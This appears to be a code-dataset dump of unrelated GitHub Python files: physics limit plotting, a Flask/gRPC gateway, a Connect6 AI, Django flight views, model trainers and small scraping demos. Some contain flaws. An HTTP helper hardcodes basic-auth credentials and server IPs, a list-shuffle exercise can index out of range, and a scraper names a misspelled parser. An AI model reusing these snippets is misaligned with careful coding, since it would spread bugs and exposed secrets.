histo_utilities import std_color_list, create_TGraph, find_intersect\n\n\nimport CMS_lumi, tdrstyle\na = tdrstyle.setTDRStyle()\nCMS_lumi.writeExtraText = 0\n\n\n\nprint(sys.version)\n\n\n\n\nxsec_list = '/storage/af/user/christiw/login-1/christiw/LLP/dedx/CMSSW_10_6_30/src/llp_analyzer/data/xSections.dat'\nmodels = ['HSCPgluinoOnlyNeutral', 'gluino', 'gmsbStau', 'pairStau', 'stopOnlyNeutral', 'stop', 'tauPrimeCharge1e', 'tauPrimeCharge2e']\nmodels = [ 'gluino', ]\n\n\ndata = np.loadtxt(xsec_list, dtype=str)\nxsec_hscp = {}\nsample_names = []\nfor i in range(len(data)):\n if 'HSCP' in data[i,0]:\n name = data[i,0][:data[i,0].find('_TuneCP5')]\n xsec_hscp[name] = float(data[i, 1])\n flag = 0\n for m in models:\n if m in name:flag = 1\n if flag == 0:continue\n sample_names.append(name)\n\nsignal_names = {}\nfor m in models:\n mass = []\n signal_names[m] = []\n for s in sample_names:\n if m+'_' in s:\n signal_names[m].append(s)\n mass.append(int(s[s.find('M-')+2:]))\n mass = np.array(mass)\n inds = mass.argsort()\n signal_names[m] = list(np.array(signal_names[m])[inds])\n\n\n\n\nsignal = []\nfor k,v in signal_names.items():signal += v\nprint(signal)\n\n\n\nlimitTrees_90 =OrderedDict()\ndataCards_90 = OrderedDict()\nlimits_90 = OrderedDict()\n\nlimitTrees_99 =OrderedDict()\ndataCards_99 = OrderedDict()\nlimits_99 = OrderedDict()\n\nlimitTrees_999 =OrderedDict()\ndataCards_999 = OrderedDict()\nlimits_999 = OrderedDict()\n\n\ndataCardDir = '/storage/af/user/christiw/login-1/christiw/LLP/dedx/CMSSW_10_2_13/src/HiggsAnalysis/HSCPLimit/combine/datacards/test_mass/v2//histoMass_region_90/'\nlimitDir = dataCardDir.replace('datacards', 'limitTrees')\n\nfor s in signal:\n limitTrees_90[s] = {}\n dataCards_90[s] = {}\n name = s.replace('HSCPg', 'G')\n name = name.replace('_M-', '')\n dataCards_90[s] = dataCardDir + '{}_nominal.txt'.format(name)\n limitTrees_90[s] = limitDir + 'higgsCombine.{}'.format(name) + '.AsymptoticLimits.mH120.root'\n\nfor i,m in enumerate(limitTrees_90.keys()):\n if not os.path.isfile(dataCards_90[m]):\n continue\n if len(uproot.open(limitTrees_90[m]).keys()) == 2:\n T = uproot.open(limitTrees_90[m])['limit']\n limits_90[m] = np.array(T.array('limit'))\n\n############################################\n\n\ndataCardDir = '/storage/af/user/christiw/login-1/christiw/LLP/dedx/CMSSW_10_2_13/src/HiggsAnalysis/HSCPLimit/combine/datacards/test_mass/v2//histoMass_region_99/'\nlimitDir = dataCardDir.replace('datacards', 'limitTrees')\n\nfor s in signal:\n limitTrees_99[s] = {}\n dataCards_99[s] = {}\n name = s.replace('HSCPg', 'G')\n name = name.replace('_M-', '')\n dataCards_99[s] = dataCardDir + '{}_nominal.txt'.format(name)\n limitTrees_99[s] = limitDir + 'higgsCombine.{}'.format(name) + '.AsymptoticLimits.mH120.root'\n\nfor i,m in enumerate(limitTrees_99.keys()):\n if not os.path.isfile(dataCards_99[m]):\n continue\n if len(uproot.open(limitTrees_99[m]).keys()) == 2:\n T = uproot.open(limitTrees_99[m])['limit']\n limits_99[m] = np.array(T.array('limit'))\n\n############################################\ndataCardDir = '/storage/af/user/christiw/login-1/christiw/LLP/dedx/CMSSW_10_2_13/src/HiggsAnalysis/HSCPLimit/combine/datacards/test_mass/v2//histoMass_region_999/'\nlimitDir = dataCardDir.replace('datacards', 'limitTrees')\n\nfor s in signal:\n limitTrees_999[s] = {}\n dataCards_999[s] = {}\n name = s.replace('HSCPg', 'G')\n name = name.replace('_M-', '')\n dataCards_999[s] = dataCardDir + '{}_nominal.txt'.format(name)\n limitTrees_999[s] = limitDir + 'higgsCombine.{}'.format(name) + '.AsymptoticLimits.mH120.root'\n\nfor i,m in enumerate(limitTrees_999.keys()):\n if not os.path.isfile(dataCards_999[m]):\n continue\n if len(uproot.open(limitTrees_999[m]).keys()) == 2:\n T = uproot.open(limitTrees_999[m])['limit']\n limits_999[m] = np.array(T.array('limit'))\n\n\n\n\n# load theoretical xsec\nimport json\npath = '/storage/af/user/christiw/login-1/christiw/LLP/dedx/CMSSW_10_6_30/src/llp_analyzer/data/xsec/json/'\nfilenames = {\n 'gluino': 'pp13_gluino_NNLO+NNLL.json',\n# 'pp13_slep_LR_NLO+NLL_PDF4LHC.json',\n# 'stop':'pp13_squark_NNLO+NNLL.json',\n# 'chargino':'pp13_wino_C1C1_NLO+NLL.json',\n# 'stau': 'pp13_stau_LR_NLO+NLL_PDF4LHC.json',\n}\nmass = {}\ntheoretical_xsec = {}\nfor f, file in filenames.items():\n data = json.load(open( path + file))\n mass[f] = []\n theoretical_xsec[f] = []\n for k,v in data['data'].items():\n mass[f].append(int(k))\n theoretical_xsec[f].append(float(v['xsec_pb']))\n mass[f] = np.array(mass[f])\n theoretical_xsec[f] = np.array(theoretical_xsec[f])\n inds = mass[f].argsort()\n mass[f] = mass[f][inds]\n theoretical_xsec[f] = theoretical_xsec[f][inds]\n\n\n# make plots\n\nleg = rt.TLegend(0.6,0.7,0.9,0.92)\nleg.SetTextSize(0.03)\nleg.SetBorderSize(0)\nleg.SetEntrySeparation(0.01)\n\nc = rt.TCanvas('c','c', 800, 800)\nc.SetRightMargin(0.04)\n\n\nrt.gStyle.SetOptFit(1011)\n\nh = {}\nh_exp1sig = {}\nh_exp2sig = {}\nh_obs = {}\nh_others = {}\nfor i, k in enumerate(mass.keys()):\n h[k+'theoretical'] = create_TGraph(mass[k],theoretical_xsec[k], axis_title=['mass [GeV]', '95% CL Limit on #sigma [pb]'])\n# leg.AddEntry(h[k+'theoretical'], 'theoretical_'+k)\n h[k+'theoretical'].SetLineColor(std_color_list[i])\n\nfor i, m in enumerate(signal_names.keys()):\n x = []\n y = []\n y_up = []\n y_down = []\n for key in limits_90.keys():\n if m in key and len(limits_90[key])>0:\n if 'gluino' in key:\n y.append(limits_90[key][2]*xsec_hscp[key])\n y_up.append(limits_90[key][3]*xsec_hscp[key])\n y_down.append(limits_90[key][1]*xsec_hscp[key])\n x.append(int(key[key.find('M-')+2:]))\n\n if len(x) ==0 :continue\n h[m+'_Ias90'] = create_TGraph(x,y_down, axis_title=['mass [GeV]', '95% CL Limit on #sigma [pb]'])\n h_exp1sig[m + '_Ias90'] = create_TGraph(np.hstack((x, np.flip(x))), np.hstack((y_down, np.flip(y_up))))\n\n\n\n ######\n\n x = []\n y = []\n y_up = []\n y_down = []\n for key in limits_99.keys():\n if m in key and len(limits_99[key])>0:\n if 'gluino' in key:\n y.append(limits_99[key][2]*xsec_hscp[key])\n y_up.append(limits_99[key][3]*xsec_hscp[key])\n y_down.append(limits_99[key][1]*xsec_hscp[key])\n else: y.append(limits_99[key][2])\n x.append(int(key[key.find('M-')+2:]))\n if len(x) ==0 :continue\n h[m+'_Ias99'] = create_TGraph(x,y_down, axis_title=['mass [GeV]', '95% CL Limit on #sigma [pb]'])\n h_exp1sig[m + '_Ias99'] = create_TGraph(np.hstack((x, np.flip(x))), np.hstack((y_down, np.flip(y_up))))\n\n\n ###\n x = []\n y = []\n y_up = []\n y_down = []\n for key in limits_999.keys():\n if m in key and len(limits_999[key])>0:\n if 'gluino' in key:\n y.append(limits_999[key][2]*xsec_hscp[key])\n y_up.append(limits_999[key][3]*xsec_hscp[key])\n y_down.append(limits_999[key][1]*xsec_hscp[key])\n else: y.append(limits_999[key][2])\n x.append(int(key[key.find('M-')+2:]))\n if len(x) ==0 :continue\n h[m+'_Ias99.9'] = create_TGraph(x,y_down, axis_title=['mass [GeV]', '95% CL Limit on #sigma [pb]'])\n h_exp1sig[m + '_Ias99.9'] = create_TGraph(np.hstack((x, np.flip(x))), np.hstack((y_down, np.flip(y_up))))\n\nfor i, m in enumerate(h.keys()):\n leg.AddEntry(h[m],m, \"L\")\n h[m].SetLineColor(std_color_list[i])\n\n h[m].SetLineWidth(3)\n\n# h[m].SetLineStyle(2)\n h[m].SetLineWidth(3)\n\n\n h[m].GetXaxis().SetTitleOffset(1)\n h[m].GetYaxis().SetTitleSize(0.05)\n h[m].GetYaxis().SetTitleOffset(1.5)\n\n\nfor i,m in enumerate(h.keys()):\n h[m].GetXaxis().SetLimits(1500,3000.0)\n h[m].GetYaxis().SetRangeUser(1e-4,1)\n h[m].Draw('LA' if i == 0 else 'Lsame')\n if 'theoretical' in m:continue\n h_exp1sig[m].SetFillColorAlpha(std_color_list[i],0.5)\n h_exp1sig[m].Draw('Fsame')\n\n\ntdrstyle.setTDRStyle()\nCMS_lumi.cmsText = \"CMS\"\niPos = 0\nCMS_lumi.writeExtraText = 0\n\nif( iPos==0 ): CMS_lumi.relPosX = 0.12\n# CMS_lumi.CMS_lumi(c, 4, 0)\nCMS_lumi.lumi_13TeV = \"101 fb^{-1}\"\nCMS_lumi.CMS_lumi(c, 4, iPos)\n\n\nprint('gluino', find_intersect(h['gluino_Ias90'],h['gluinotheoretical']))\nprint('gluino', find_intersect(h['gluino_Ias99'],h['gluinotheoretical']))\nprint('gluino', find_intersect(h['gluino_Ias99.9'],h['gluinotheoretical']))\n\n\n\nleg.Draw()\nc.SetLogy()\nc.SetTicky(1)\nc.SetTickx(1)\n\n\ntdrstyle.setTDRStyle()\nc.Draw()\n","repo_name":"Christinaw97/HSCPLimit","sub_path":"scripts/limit_plots.py","file_name":"limit_plots.py","file_ext":"py","file_size_in_byte":8916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35865200475","text":"import grpc\nimport archivo_pb2\nimport archivo_pb2_grpc\nfrom flask import Flask, jsonify\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\nMSERV1_URL = os.getenv(\"URL_MS1\")\nMSERV2_URL = os.getenv(\"URL_MS2\")\n\n\n# MSERV1_URL = \"localhost:5001\"\n# MSERV2_URL = \"localhost:5002\"\n\nclass ApiGateway:\n def __init__(self):\n self.channel_mserv1 = grpc.insecure_channel(MSERV1_URL)\n self.stub_mserv1 = archivo_pb2_grpc.ArchivoStub(self.channel_mserv1)\n \n self.channel_mserv2 = grpc.insecure_channel(MSERV2_URL)\n self.stub_mserv2 = archivo_pb2_grpc.ArchivoStub(self.channel_mserv2)\n \n def listar_archivos(self):\n response = self.stub_mserv1.ListarArchivos(archivo_pb2.ArchivoVacio())\n return response.archivos\n \n def buscar_archivos(self, archivo_buscado):\n request = archivo_pb2.ArchivoRequest(archivo_buscado=archivo_buscado)\n response = self.stub_mserv2.BuscarArchivos(request)\n return response.archivos\n\napp = Flask(__name__)\napi_gateway = ApiGateway()\n\n@app.route('/listar_archivos', methods=['GET'])\ndef listar_archivos_endpoint():\n archivos = api_gateway.listar_archivos()\n archivos_serializable = list(archivos)\n return jsonify(archivos_serializable), 200\n\n@app.route('/buscar_archivos/<nombre_archivo>', methods=['GET'])\ndef buscar_archivos_endpoint(nombre_archivo):\n archivos = api_gateway.buscar_archivos(nombre_archivo)\n archivos_serializable = list(archivos)\n return jsonify(archivos_serializable), 200\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"mvillegas2/Reto2TTelematica","sub_path":"api_gateway.py","file_name":"api_gateway.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6828665123","text":"import copy\nimport random\nimport pprint\nimport os\n\nclass Calculator():\n def __init__(self, color, gameStatus):\n self.weightBoard = [[0 for col in range(19)] for row in range(19)]\n self.color = color\n self.gameStatus = gameStatus\n\n def run(self, remain):\n nextPointPos = self.__calculateNextPosbyPoint()\n self.__calculateWeightBoard(nextPointPos, self.color, remain, self.gameStatus.board)\n nextPos = self.__calculateNextPosByWeight(nextPointPos)\n x,y = nextPos[random.randrange(len(nextPos))]\n print(\"by Weight:\", x, y)\n return x, y\n\n def __calculateNextPosbyPoint(self):\n nextPos = []\n maxWeight = 1\n\n for y in range(19):\n for x in range(19):\n weight = self.gameStatus.pointBoard[y][x]\n if weight == maxWeight:\n nextPos.append([x, y])\n\n return nextPos\n\n def __calculateNextPosByWeight(self, nextPointPos):\n nextPos = []\n maxWeight = 1\n\n for y in range(19):\n for x in range(19):\n weight = self.weightBoard[y][x]\n if weight > maxWeight :\n maxWeight = weight\n nextPos = [[x, y]]\n elif weight == maxWeight:\n nextPos.append([x, y])\n\n if nextPos == []:\n nextPos = [nextPointPos[random.randrange(len(nextPointPos))]]\n return nextPos\n\n def __calculateWeightBoard(self, nextPos, color, remain, board): \n self.weightBoard = [[0 for col in range(19)] for row in range(19)] \n\n for pos in nextPos:\n x = pos[0]\n y = pos[1]\n weight = 0\n tempBoard = copy.deepcopy(board)\n tempBoard[y][x] = 3 - color\n weight += self.__slideHorizontally(x, y, 6, 3 - color, remain, tempBoard)\n weight += self.__slideVertically(x, y, 6, 3 - color, remain, tempBoard)\n weight += self.__slideDiagonally1(x, y, 6, 3 - color, remain, tempBoard)\n weight += self.__slideDiagonally2(x, y, 6, 3 - color, remain, tempBoard)\n\n tempBoard[y][x] = color\n weight += self.__slideHorizontally(x, y, 6, color, remain, tempBoard)\n weight += self.__slideVertically(x, y, 6, color, remain, tempBoard)\n weight += self.__slideDiagonally1(x, y, 6, color, remain, tempBoard)\n weight += self.__slideDiagonally2(x, y, 6, color, remain, tempBoard)\n\n self.weightBoard[y][x] = weight\n\n #pprint.pprint(self.weightBoard)\n return \n\n def __calculateWeight(self, color, remain, countN):\n \"\"\"\n 1. 내 돌이 6개가 되는 경우(6) : 5000000\n 2. 상대가 6개가 완성 되는 경우(5, 6) : 500000\n 3. 다음 턴 공격을 위한 빌드업 (3, 4) : 60000\n 4. 내가 공격을 완성하는 경우(4, 5) : 40000\n 5. 상대가 공격을 완성하는 경우(3, 4) : 10000 / 5000\n 6. 내가 공격 빌드업(2, 3)\n \"\"\"\n if color == self.color:\n if remain == 1: \n weight = countN['count6'] * 5000000 \\\n + countN['count5'] * 40000 + countN['count4'] * 60000 \\\n + countN['count3'] * 500 \\\n + countN['count2'] * 1000 \n else: # 내 첫 차례\n weight = countN['count6'] * 5000000 + countN['count5'] * 5000000 \\\n + countN['count4'] * 40000 + countN['count3'] * 60000 \\\n + countN['count2'] * 3000 \n else :\n weight = countN['count6'] * 500000 + countN['count5'] * 500000 \\\n + countN['count4'] * 10000 \\\n + countN['count3'] * 5000 \\\n + countN['count2'] * 400 \n\n return weight\n \n def __slideHorizontally(self, x, y, n, color, remain, board):\n minX, maxX = max(0, x - 5), min(18, x + 5)\n space = 0 \n window = []\n\n countN = {\n \"count6\" : 0, \"count5\" : 0, \"count4\" : 0, \"count3\" : 0, \"count2\" : 0\n }\n\n for x in range(minX, maxX + 1):\n self.__calculateCount(window, countN, n, board[y][x], color)\n\n return self.__calculateWeight(color, remain, countN)\n\n def __slideVertically(self, x, y, n, color, remain, board):\n minY, maxY = max(0, y - 5), min(18, y + 5)\n space = 0 \n window = []\n\n countN = {\n \"count6\" : 0, \"count5\" : 0, \"count4\" : 0, \"count3\" : 0, \"count2\" : 0\n }\n\n for y in range(minY, maxY + 1):\n self.__calculateCount(window, countN, n, board[y][x], color)\n\n return self.__calculateWeight(color, remain, countN)\n \n def __slideDiagonally1(self, x, y, n, color, remain, board):\n minX, minY, maxX, maxY = x, y, x, y\n\n i = 0\n while minX > 0 and minY > 0 and i <= 5:\n minX, minY = x - i, y - i\n i += 1\n\n i = 0\n while maxX < 18 and maxY < 18 and i <= 5:\n maxX, maxY = x + i, y + i\n i += 1\n\n space = 0 \n window = []\n\n countN = {\n \"count6\" : 0, \"count5\" : 0, \"count4\" : 0, \"count3\" : 0, \"count2\" : 0\n }\n\n slideLength = min(maxX - minX + 1, maxY - minY + 1)\n for i in range(slideLength):\n self.__calculateCount(window, countN, n, board[minY + i][minX + i], color)\n return self.__calculateWeight(color, remain, countN)\n\n def __slideDiagonally2(self, x, y, n, color, remain, board):\n minX, minY, maxX, maxY = x, y, x, y\n\n i = 0\n while minX > 0 and maxY < 18 and i <= 5:\n minX, maxY = x - i, y + i\n i += 1\n\n i = 0\n while maxX < 18 and maxY > 0 and i <= 5:\n maxX, minY = x + i, y - i\n i += 1\n\n space = 0 \n window = []\n\n countN = {\n \"count6\" : 0, \"count5\" : 0, \"count4\" : 0, \"count3\" : 0, \"count2\" : 0\n }\n\n slideLength = min(maxX - minX + 1, maxY - minY + 1)\n\n for i in range(slideLength):\n self.__calculateCount(window, countN, n, board[minY + i][maxX - i], color)\n\n return self.__calculateWeight(color, remain, countN)\n\n def __calculateCount(self, window, countN, n, value, color):\n opponentColor = 3 - color\n\n currentColor = value\n\n if len(window) == n:\n window.pop(0)\n window.append(currentColor)\n\n if len(window) != n:\n return\n\n count = 0\n\n try: \n for stone in window:\n if stone == opponentColor:\n raise Exception('상대돌 발견')\n elif stone == color:\n count += 1\n countN['count' + str(count)] += 1\n except Exception:\n \n return\n\n","repo_name":"Catnap421/Connect6","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"42939453764","text":"# lista9CT-Projeto-2020.pdf\n# Exercício 2\n# Faça uma função em Python que recebe uma lista e mistura o conteúdo dela, ou seja, troca os elementos de posição de forma aleatória.\n\nimport random\n\ndef mistura(lista):\n i = 0\n while i < 100:\n x = random.randint(0, len(lista))\n y = random.randint(0, len(lista))\n lista[x], lista[y] = lista[y], lista[x]\n i = i + 1\n","repo_name":"jonasmzsouza/fiap-tdsr-ctup","sub_path":"20200819/Lista9Exerc2.py","file_name":"Lista9Exerc2.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10483829136","text":"from django.shortcuts import render\nfrom .models import Cities,Airport,Flight\n\n\n# Create your views here.\n\ndef flightindex(request):\n\tflights=Flight.objects.all()\n\n\tdata={\"flights\":flights}\n\n\n\treturn render(request,\"flight/flightindex.html\",data)\n\ndef city_and_airport(request):\n\tcities=Cities.objects.all()\n\tairports=Airport.objects.all()\n\n\n\n\tdata={\"city\":cities,\"airports\":airports}\n\n\treturn render(request,\"flight/cityandairport.html\",data)\n\n\ndef detail(request,pk):\n\tflight=Flight.objects.get(id=pk)\n\tdeparture_airport=flight.departure\n\tdestination_airport=flight.destination\n\n\tdeparture_city=Airport.objects.get(title=departure_airport).location\n\tdestination_city=Airport.objects.get(title=destination_airport).location\n\n\n\tdata={\"id\":pk,\"flight\":flight,\"departure\":departure_airport,\"destination\":destination_airport,\n\t\t\"destination_city\":destination_city,\"departure_city\":departure_city}\n\treturn render(request,\"flight/details.html\",data)","repo_name":"SupremeLoppi/Flights","sub_path":"flight/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15608916575","text":"def solution(tickets):\n dic = {}\n for ticket in tickets: # 목록화\n if ticket[0] not in dic:\n dic[ticket[0]] = list()\n dic[ticket[0]].append(ticket[1])\n\n for key, value in dic.items(): # 알파벳 순서 고려를 위한 내림차순\n dic[key].sort(reverse=True)\n\n answer = []\n stack = [\"ICN\"]\n while stack:\n top = stack[-1]\n if top not in dic or len(dic[top]) == 0:\n answer.append(stack.pop())\n else:\n stack.append(dic[top].pop())\n\n answer.reverse()\n\n return answer","repo_name":"JooaeSon/Daily_CodingTest","sub_path":"Programmers/Lv.3/여행경로.py","file_name":"여행경로.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"28353009637","text":"# Created by Qingzhi Ma at 2019-07-24\n# All right reserved\n# Department of Computer Science\n# the University of Warwick\n# Q.Ma.2@warwick.ac.uk\nfrom dbestclient.ml.density import DBEstDensity\nfrom dbestclient.ml.modelwraper import SimpleModelWrapper, GroupByModelWrapper\nfrom dbestclient.ml.regression import DBEstReg\nfrom dbestclient.tools.dftools import convert_df_to_yx\nimport numpy as np\n\n\nclass SimpleModelTrainer:\n\n def __init__(self, mdl, tbl, xheader, yheader, n_total_point, n_sample_point,groupby_attribute=None, groupby_value=None):\n self.xheader = xheader\n self.yheader = yheader\n self.simpe_model_wrapper = SimpleModelWrapper(mdl, tbl, xheader, y=yheader, n_total_point=n_total_point,\n n_sample_point=n_sample_point, groupby_attribute=groupby_attribute, groupby_value=groupby_value)\n\n def fit(self, x, y):\n reg = DBEstReg().fit(x, y)\n density = DBEstDensity().fit(x)\n self.simpe_model_wrapper.load_model(density, reg)\n return self.simpe_model_wrapper\n\n def fit_from_df(self, df):\n y, x = convert_df_to_yx(df, self.xheader, self.yheader)\n return self.fit(x, y)\n\n\nclass GroupByModelTrainer:\n def __init__(self, mdl, tbl, xheader, yheader, groupby_attribute, n_total_point, n_sample_point,\n x_min_value=-np.inf, x_max_value=np.inf):\n self.groupby_model_wrapper = GroupByModelWrapper(mdl, tbl, xheader, yheader, groupby_attribute,\n x_min_value=x_min_value, x_max_value=x_max_value)\n self.groupby_attribute = groupby_attribute\n self.mdl = mdl\n self.tbl = tbl\n self.xheader = xheader\n self.yheader = yheader\n self.n_total_point = n_total_point\n self.n_sample_point = n_sample_point\n self.x_min_value = x_min_value\n self.x_max_value = x_max_value\n\n\n def fit_from_df(self,df):\n sample_grouped = df.groupby(by=self.groupby_attribute)\n for name, group in sample_grouped:\n print(\"training \" +name )\n simple_model_wrapper = SimpleModelTrainer(self.mdl, self.tbl, self.xheader, self.yheader,\n self.n_total_point[name], self.n_sample_point[name],\n groupby_attribute=self.groupby_attribute, groupby_value=name).fit_from_df(group)\n self.groupby_model_wrapper.add_simple_model(simple_model_wrapper)\n # print(self.groupby_model_wrapper)\n return self.groupby_model_wrapper\n\n","repo_name":"phillette/DBEstClient","sub_path":"dbestclient/ml/modeltrainer.py","file_name":"modeltrainer.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"45644604016","text":"import requests\nfrom config import config\n\n\n# IP = '85.92.121.219:30005'\n# IP = '192.168.1.119:4041'\n# IP = '127.0.0.1:80'\n# IP = '85.92.121.219:4042'\n# IP = '11.10.0.2:8080'\n\nIP = config()['ip']\n\n\ndef prepare_sql(sql):\n sql = sql.replace(\"\\n\", \" \")\n sql = ' '.join(sql.split())\n return sql\n\n\ndef json_request(url, payload):\n headers = {'content-type': \"application/json\"}\n auth = ('dude', 'Hold My Beer')\n response = requests.request(\"POST\", url, data=payload.encode('utf-8'), headers=headers, auth=auth)\n # print(response.status_code)\n return response.json() if response.status_code == 200 else {}\n\n\ndef select_request(sql, ip=IP):\n url = f\"http://{ip}/dql\"\n payload = '{{\"sql\": \"{}\"}}'.format(prepare_sql(sql))\n return json_request(url, payload)\n\n\ndef dml_request(sql, ip=IP):\n url = \"http://{}/dml\".format(ip)\n payload = '{{\"sql\": \"{}\"}}'.format(prepare_sql(sql))\n return json_request(url, payload)\n\n\ndef get_qr(data, ip=IP):\n url = \"http://{}/qr\".format(ip)\n payload = f'{{\"data\": \"{data}\", \"from_color\": \"#000956\",\"to_color\": \"#503056\"}}'.encode('UTF-8')\n # print(payload)\n headers = {'content-type': \"application/json\"}\n response = requests.request(\"POST\", url, data=payload, headers=headers)\n\n if response.status_code == 200:\n return response.content\n else:\n return None\n\n\ndef card_info_request(card_data, ip=IP):\n url = f\"http://{ip}/card_info\"\n payload = f'{{\"card_data\": \"{card_data}\"}}'\n return json_request(url, payload)\n\n\nif __name__ == '__main__':\n print(card_info_request(\"3F26DE\"))\n print(card_info_request(\"5A8B00\"))\n","repo_name":"x7895123/registrator","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40827058637","text":"# coding = utf-8\n# __author__ = 'wang wei'\n\nimport urllib.request\nimport urllib\nimport http.cookiejar\n\nfrom bs4 import BeautifulSoup\n\nurl = \"http://www.baidu.com\"\nprint(\"---第一种方法---\")\nresponse1 = urllib.request.urlopen(url)\nprint(response1.getcode())\nprint(len(response1.read()))\n\nprint(\"---第二种方法---\")\nreq = urllib.request.Request(url)\nreq.add_header('user-agent', 'Mozilla/5.0')\nresponse2 = urllib.request.urlopen(req)\nprint(response2.getcode())\nprint(len(response2.read()))\n\nprint(\"---第三种方法---\")\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\nurllib.request.install_opener(opener)\nresponse3 = urllib.request.urlopen(url)\nprint(response3.getcode())\n# print(cj)\nprint(len(response3.read()))\n\nhtml_doc = \"\"\"\n </html>\n\t<head>\n\t<title>我的第一个网站\n\t\n\t\n\t

    哇!这是我的第一个网站。

    \n\t\n\t\n\"\"\"\nsoup = BeautifulSoup(html_doc, 'html.parse', from_encoding='utf-8')\nprint(\"获取所有连接\")\nlinks = soup.find_all('p')\n","repo_name":"Jamesmarswang/Python","sub_path":"MLDemo/PythonSpider/URLLoadMeythod.py","file_name":"URLLoadMeythod.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"}